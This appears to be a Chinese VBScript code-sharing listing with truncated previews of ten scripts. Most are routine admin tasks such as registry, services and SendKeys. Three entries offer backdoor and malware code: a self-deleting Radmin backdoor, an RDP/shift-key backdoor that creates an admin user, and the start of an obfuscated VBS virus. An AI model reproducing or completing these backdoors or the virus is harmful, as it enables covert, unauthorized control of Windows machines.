2020-02-16 标签:vbs,使用,internet,explorer,屏蔽,密码,实现,代码,如下,set,objexplorer,wscript,application,ie,navigate,file,c,scripts

实现代码如下：Set objExplorer = WScript.CreateObject _("InternetExplorer.Application", "IE_")objExplorer.Navigate "file:///c:\scripts\password.htm"objExplore

2020-02-16 标签:vbs,检查,注册表,访问,权限,代码,const,key,query,value,h,0001,set,0002,create,sub,0004,delete,00010000

const KEY_QUERY_VALUE = &H0001 const KEY_SET_VALUE = &H0002 const KEY_CREATE_SUB_KEY = &H0004 const DELETE = &H00010000 const HKEY_LOC

2020-02-16 标签:vbs,删除,注册表,代码,wscript,echo,enabling,kerberos,logging,const,hkey,local,machine,h,80000002,strcomputer,set,oreg,getobject

WScript.Echo "Enabling Kerberos Logging..." const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set oReg=GetObject("winmgmts:{impersonationLev

2020-02-16 标签:vbs,实现,恢复,暂停,自动,启动,服务,脚本,strcomputer,set,getobject,winmgmts,impersonate,root,cimv,execquery

strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set c

2020-02-16 标签:vbs,脚本,实现,radmin,终极,后门,代码,删除,自身,如下,error,resume,n,ext,const,hkey,local,machine,h,80000002

实现代码如下：on error resume nextconst HKEY_LOCAL_MACHINE = &H80000002strComputer = "."Set StdOut = WScript.StdOutSet oReg=GetObject("winmgmts:{imperson

2020-02-16 标签:xp,2003,3389,n,et,创建,管理,用户,shift,后门,删除,脚本,vbs,实现,代码,如下,error

实现代码如下：on error resume nextconst HKEY_LOCAL_MACHINE = &H80000002strComputer = "."Set StdOut = WScript.StdOutSet oReg=GetObject("winmgmts:{imperson

2020-02-16 标签:vbscript,sendkeys,实例,代码,大全,使用,格式,object,string,表示,wshshell,对象,发送,按键,指令,字符串,需要,放在,英文,双引号

其使用格式为：object.SendKeys string“object”：表示WshShell对象“string”：表示要发送的按键指令字符串，需要放在英文双引号中。1.基本键　　一般来说，要发送的按键指令都可以直接用该按键字符本身来表示，例如要发送字母“x”，使用“WshShell.SendKe

2020-02-16 标签:海阳,顶端,百度,blog,必须,输入,密码,vbscript,代码,要看,下面,需要,了解,函数,strreverse,返回,字符串

要看懂下面的代码，需要了解下面的函数vbscript strreverse 函数 返回字符串，此字符串与指定字符串顺序相反。 strreverse(string1) string1 参数是要进行字符反向的字符串。如果 string1 是零长度字符串 ("")，则返回零长度字符串。如果 string1

2020-02-16 标签:vbs,病毒,源文件,rem,rhl,dim,fs,r,ss,w,reg,regpath,dvbs,ddd,set,chr,67,reate,obj,101

rem vbs.rhl Dim fs,r,ss,w,reg,regpath,dvbs ddd="Set fs =" &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40)

2020-02-16 标签:vbs,循环,产生,参数,传递,问题,set,objfso,scripting,objfile,d,txt,wshshell,wscript,shell

Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFile = objFSO.OpenTextFile("d:\1\0.txt", 1) set WshShell = WScript.CreateObject("WScript